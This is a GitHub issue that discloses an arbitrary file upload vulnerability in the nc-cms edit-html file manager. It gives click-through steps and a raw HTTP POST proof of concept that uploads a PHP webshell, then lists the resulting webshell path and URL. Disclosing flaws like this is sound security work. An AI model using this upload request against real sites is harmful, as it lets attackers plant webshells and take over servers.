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There is an upload vulnerability in the edit html that can upload any files(eg:php webshell) #11

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myzing00 opened this Issue Oct 31, 2018 · 0 comments

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@myzing00

myzing00 commented Oct 31, 2018

Hello, I found that this cms may have some security problem
you can edit your html on
http://localhost/nc-cms/index.php?action=edit_html&name=home_content
and you can upload any evil file js you want
1.click "upfile or image"
image
2.select a php file (eg: a evil webshell)
image

POC:
POST /nc-cms/index.php?action=file_manager_upload HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/nc-cms/index.php?action=file_manager
Cookie: tinymcePasteText=1; phpspypass=yccc; loginpass=f4f068e71e0d87bf0ad51e6214ab84e9; hadlog=%2Fnc-cms%2Fcontent%2Fupload%2F2014phpspy.php; PHPSESSID=dlgu3f22v6eep44leeuve5lud4
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------32226254718020
Content-Length: 34678

-----------------------------32226254718020
Content-Disposition: form-data; name="file"; filename="phpspy2010.php"
Content-Type: application/octet-stream

-----------------------------32226254718020--

upload success!
image

the path: /nc-cms/system/../content/upload/phpspy2010.php
webshell :http://localhost/nc-cms/content/upload/phpspy2010.php

image

login webshell

image

image

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